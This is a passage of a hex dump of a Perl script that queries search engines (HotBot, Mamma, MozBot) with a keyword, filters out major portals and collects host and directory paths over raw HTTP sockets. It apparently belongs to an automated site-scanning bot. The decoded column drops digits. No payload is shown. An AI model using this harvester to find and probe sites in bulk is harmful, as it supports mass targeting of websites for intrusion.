63872: 743B0D0A6D7920246B6579203D20245F5B305D3B0D0A666F722824623D303B24          t; my $key = $_[ ]; for($b= ;$
63904: 623C3D313030303B24622B3D313030297B0D0A6D792024686F743D2822687474          b<=1   ;$b+=1  ){ my $hot=("htt
63936: 703A2F2F7365617263682E686F74626F742E64652F6367692D62696E2F707572          p://search.hotbot.de/cgi-bin/pur
63968: 737569743F7061673D2461762671756572793D222E6B657928246B6579292E22          suit?pag=$av&query=".key($key)."
64000: 266361743D68625F6C6F6326656E633D7574662D38222E2462293B0D0A6D7920          &cat=hb_loc&enc=utf-8".$b); my
64032: 245265733D71756572792824686F74293B0D0A7768696C652824526573203D7E          $Res=query($hot); while($Res =~
64064: 206D2F3C6120687265663D5C223F687474703A5C2F5C2F285B5E3E5C225D2A29          m/<a href=\"?http:\/\/([^>\"]*)
64096: 5C2F2F67297B0D0A69662028243120217E202F6D736E7C6C6976657C676F6F67          \//g){ if ($1 !~ /msn|live|goog
64128: 6C657C7961686F6F2F297B0D0A6D7920246B3D24313B0D0A6D79204067726570          le|yahoo/){ my $k=$1; my @grep
64160: 3D6C696E6B7328246B293B0D0A7075736828406C73742C4067726570293B0D0A          =links($k); push(@lst,@grep);
64192: 7D7D7D0D0A72657475726E20406C73743B0D0A7D0D0A0D0A0D0A23232323230D          }}} return @lst; } #####
64224: 0A23204D616D6D610D0A23232323230D0A737562206D616D6D6128297B0D0A6D          # Mamma ##### sub mamma(){ m
64256: 7920406C73743B0D0A6D7920246B6579203D20245F5B305D3B0D0A666F722824          y @lst; my $key = $_[ ]; for($
64288: 623D303B24623C3D313030303B24622B3D313030297B0D0A6D7920246D616D3D          b= ;$b<=1   ;$b+=1  ){ my $mam=
64320: 2822687474703A2F2F7777772E6D616D6D612E636F6D2F4D616D6D613F757466          ("http://www.mamma.com/Mamma?utf
64352: 6F75743D2461762671747970653D302671756572793D222E6B657928246B6579          out=$av&qtype= &query=".key($key
64384: 292E22222E2462293B0D0A6D7920245265733D717565727928246D616D293B0D          )."".$b); my $Res=query($mam);
64416: 0A7768696C652824526573203D7E206D2F3C6120687265663D5C223F68747470          while($Res =~ m/<a href=\"?http
64448: 3A5C2F5C2F285B5E3E5C225D2A295C2F2F67297B0D0A69662028243120217E20          :\/\/([^>\"]*)\//g){ if ($1 !~
64480: 2F6D736E7C6C6976657C676F6F676C657C7961686F6F2F297B0D0A6D7920246B          /msn|live|google|yahoo/){ my $k
64512: 3D24313B0D0A6D792040677265703D6C696E6B7328246B293B0D0A7075736828          =$1; my @grep=links($k); push(
64544: 406C73742C4067726570293B0D0A7D7D7D0D0A72657475726E20406C73743B0D          @lst,@grep); }}} return @lst;
64576: 0A7D0D0A0D0A23232323230D0A23204D6F7A426F740D0A23232323230D0A7375          } ##### # MozBot ##### su
64608: 62206D6F7A626F7428290D0A7B0D0A6D7920406C73743B0D0A6D7920246B6579          b mozbot() { my @lst; my $key
64640: 3D245F5B305D3B0D0A6D792024693D303B0D0A6D79202470673D303B0D0A666F          =$_[ ]; my $i= ; my $pg= ; fo
64672: 722824693D303B2024693C3D3130303B2024692B3D31297B0D0A6D7920246D6F          r($i= ; $i<=1  ; $i+=1){ my $mo
64704: 7A626F743D2822687474703A2F2F7777772E6D6F7A626F742E66722F73656172          zbot=("http://www.mozbot.fr/sear
64736: 63683F713D222E6B657928246B6579292E222673743D696E7426706167653D22          ch?q=".key($key)."&st=int&page="
64768: 2E2469293B0D0A6D7920245265733D717565727928246D6F7A626F74293B0D0A          .$i); my $Res=query($mozbot);
64800: 7768696C652824526573203D7E206D2F3C6120687265663D5C223F687474703A          while($Res =~ m/<a href=\"?http:
64832: 5C2F5C2F282E2B3F295C22207461726765742F67297B0D0A6D7920246B3D2431          \/\/(.+?)\" target/g){ my $k=$1
64864: 3B0D0A246B3D7E732F202F2F673B0D0A6D792040677265703D6C696E6B732824          ; $k=~s/ //g; my @grep=links($
64896: 6B293B0D0A7075736828406C73742C4067726570293B0D0A7D7D0D0A72657475          k); push(@lst,@grep); }} retu
64928: 726E20406C73743B0D0A7D0D0A0D0A737562206C696E6B7328290D0A7B0D0A6D          rn @lst; } sub links() { m
64960: 7920406C3B0D0A6D7920246C696E6B3D245F5B305D3B0D0A6D792024686F7374          y @l; my $link=$_[ ]; my $host
64992: 3D245F5B305D3B0D0A6D792024686469723D245F5B305D3B0D0A24686469723D          =$_[ ]; my $hdir=$_[ ]; $hdir=
65024: 7E732F282E2A295C2F5B5E5C2F5D2A242F5C312F3B0D0A24686F73743D7E732F          ~s/(.*)\/[^\/]*$/\1/; $host=~s/
65056: 285B2D612D7A412D5A302D395C2E5D2B295C2F2E2A2F24312F3B0D0A24686F73          ([-a-zA-Z -9\.]+)\/.*/$1/; $hos
65088: 742E3D222F223B0D0A246C696E6B2E3D222F223B0D0A24686469722E3D222F22          t.="/"; $link.="/"; $hdir.="/"
65120: 3B0D0A24686F73743D7E732F5C2F5C2F2F5C2F2F673B0D0A24686469723D7E73          ; $host=~s/\/\//\//g; $hdir=~s
65152: 2F5C2F5C2F2F5C2F2F673B0D0A246C696E6B3D7E732F5C2F5C2F2F5C2F2F673B          /\/\//\//g; $link=~s/\/\//\//g;
65184: 0D0A7075736828406C2C246C696E6B2C24686F73742C2468646972293B0D0A72          push(@l,$link,$host,$hdir); r
65216: 657475726E20406C3B0D0A7D0D0A0D0A73756220676574687328297B0D0A6D79          eturn @l; } sub geths(){ my
65248: 2024686F73743D245F5B305D3B0D0A24686F73743D7E732F285B2D612D7A412D          $host=$_[ ]; $host=~s/([-a-zA-
65280: 5A302D395C2E5D2B295C2F2E2A2F24312F3B0D0A72657475726E2024686F7374          Z -9\.]+)\/.*/$1/; return $host
65312: 3B0D0A7D0D0A0D0A737562206B657928297B0D0A6D7920246368696176653D24          ; } sub key(){ my $chiave=$
65344: 5F5B305D3B0D0A24636869617665203D7E20732F202F5C2B2F673B0D0A246368          _[ ]; $chiave =~ s/ /\+/g; $ch
65376: 69617665203D7E20732F3A2F5C2533412F673B0D0A24636869617665203D7E20          iave =~ s/:/\%3A/g; $chiave =~
65408: 732F5C2F2F5C2532462F673B0D0A24636869617665203D7E20732F262F5C2532          s/\//\%2F/g; $chiave =~ s/&/\%2
65440: 362F673B0D0A24636869617665203D7E20732F5C222F5C2532322F673B0D0A24          6/g; $chiave =~ s/\"/\%22/g; $
65472: 636869617665203D7E20732F2C2F5C2532432F673B0D0A24636869617665203D          chiave =~ s/,/\%2C/g; $chiave =
65504: 7E20732F5C5C2F5C2535432F673B0D0A72657475726E20246368696176653B0D          ~ s/\\/\%5C/g; return $chiave;
65536: 0A7D0D0A0D0A7375622071756572792824297B0D0A6D79202475726C3D245F5B          } sub query($){ my $url=$_[
65568: 305D3B0D0A2475726C3D7E732F687474703A5C2F5C2F2F2F3B0D0A6D79202468           ]; $url=~s/http:\/\///; my $h
65600: 6F73743D2475726C3B0D0A6D79202471756572793D2475726C3B0D0A6D792024          ost=$url; my $query=$url; my $
65632: 706167653D22223B0D0A24686F73743D7E732F687265663D5C223F687474703A          page=""; $host=~s/href=\"?http:
65664: 5C2F5C2F2F2F3B0D0A24686F73743D7E732F285B2D612D7A412D5A302D395C2E          \/\///; $host=~s/([-a-zA-Z -9\.
65696: 5D2B295C2F2E2A2F24312F3B0D0A2471756572793D7E732F24686F73742F2F3B          ]+)\/.*/$1/; $query=~s/$host//;
65728: 0D0A6966202824717565727920657120222229207B2471756572793D222F223B          if ($query eq "") {$query="/";
65760: 7D3B0D0A6576616C207B0D0A6D792024736F636B203D20494F3A3A536F636B65          }; eval { my $sock = IO::Socke
65792: 743A3A494E45542D3E6E65772850656572416464723D3E2224686F7374222C50          t::INET->new(PeerAddr=>"$host",P
65824: 656572506F72743D3E223830222C50726F746F3D3E227463702229206F722072          eerPort=>"8 ",Proto=>"tcp") or r
65856: 657475726E3B0D0A7072696E742024736F636B20224745542024717565727920          eturn; print $sock "GET $query
65888: 485454502F312E305C725C6E486F73743A2024686F73745C725C6E4163636570          HTTP/1. \r\nHost: $host\r\nAccep
65920: 743A202A2F2A5C725C6E557365722D4167656E743A204D6F7A696C6C612F352E          t: */*\r\nUser-Agent: Mozilla/5.
65952: 305C725C6E5C725C6E223B0D0A6D79204072203D203C24736F636B3E3B0D0A24           \r\n\r\n"; my @r = <$sock>; $
65984: 706167653D224072223B0D0A636C6F73652824736F636B293B0D0A7D3B0D0A72          page="@r"; close($sock); }; r
66016: 657475726E2024706167653B0D0A7D0D0A0D0A73756220756E6963697B0D0A6D          eturn $page; } sub unici{ m
66048: 792040756E696369203D2028293B0D0A6D7920257669737469203D2028293B0D          y @unici = (); my %visti = ();
66080: 0A666F7265616368206D792024656C656D656E746F202820405F20290D0A7B0D          foreach my $elemento ( @_ ) {
66112: 0A6E657874206966202476697374697B2024656C656D656E746F207D2B2B3B0D          next if $visti{ $elemento }++;
66144: 0A707573682040756E6963692C2024656C656D656E746F3B0D0A7D2020200D0A          push @unici, $elemento; }
66176: 72657475726E2040756E6963693B0D0A7D0D0A0D0A73756220687474705F7175          return @unici; } sub http_qu
66208: 6572792824297B0D0A6D7920282475726C29203D20405F3B0D0A6D792024686F          ery($){ my ($url) = @_; my $ho
66240: 73743D2475726C3B0D0A6D79202471756572793D2475726C3B0D0A6D79202470          st=$url; my $query=$url; my $p
66272: 6167653D22223B0D0A24686F7374203D7E20732F687265663D5C223F68747470          age=""; $host =~ s/href=\"?http
66304: 3A5C2F5C2F2F2F3B0D0A24686F7374203D7E20732F285B2D612D7A412D5A302D          :\/\///; $host =~ s/([-a-zA-Z -
66336: 395C2E5D2B295C2F2E2A2F24312F3B0D0A247175657279203D7E732F24686F73          9\.]+)\/.*/$1/; $query =~s/$hos
66368: 742F2F3B0D0A6966202824717565727920657120222229207B2471756572793D          t//; if ($query eq "") {$query=
66400: 222F223B7D3B0D0A6576616C207B0D0A6C6F63616C20245349477B414C524D7D          "/";}; eval { local $SIG{ALRM}
66432: 203D20737562207B20646965202231223B7D3B0D0A616C61726D2031303B0D0A          = sub { die "1";}; alarm 1 ;
66464: 6D792024736F636B203D20494F3A3A536F636B65743A3A494E45542D3E6E6577          my $sock = IO::Socket::INET->new
66496: 2850656572416464723D3E2224686F7374222C50656572506F72743D3E223830          (PeerAddr=>"$host",PeerPort=>"8 
66528: 222C50726F746F3D3E227463702229206F722072657475726E3B0D0A7072696E          ",Proto=>"tcp") or return; prin
66560: 742024736F636B20224745542024717565727920485454502F312E305C725C6E          t $sock "GET $query HTTP/1. \r\n
66592: 486F73743A2024686F73745C725C6E4163636570743A202A2F2A5C725C6E5573          Host: $host\r\nAccept: */*\r\nUs
66624: 65722D4167656E743A204D6F7A696C6C612F352E305C725C6E5C725C6E223B0D          er-Agent: Mozilla/5. \r\n\r\n";
66656: 0A6D79204072203D203C24736F636B3E3B0D0A24706167653D224072223B0D0A          my @r = <$sock>; $page="@r";
66688: 616C61726D20303B0D0A636C6F73652824736F636B293B0D0A7D3B0D0A726574          alarm  ; close($sock); }; ret
66720: 75726E2024706167653B0D0A7D7D0D0A          urn $page; }}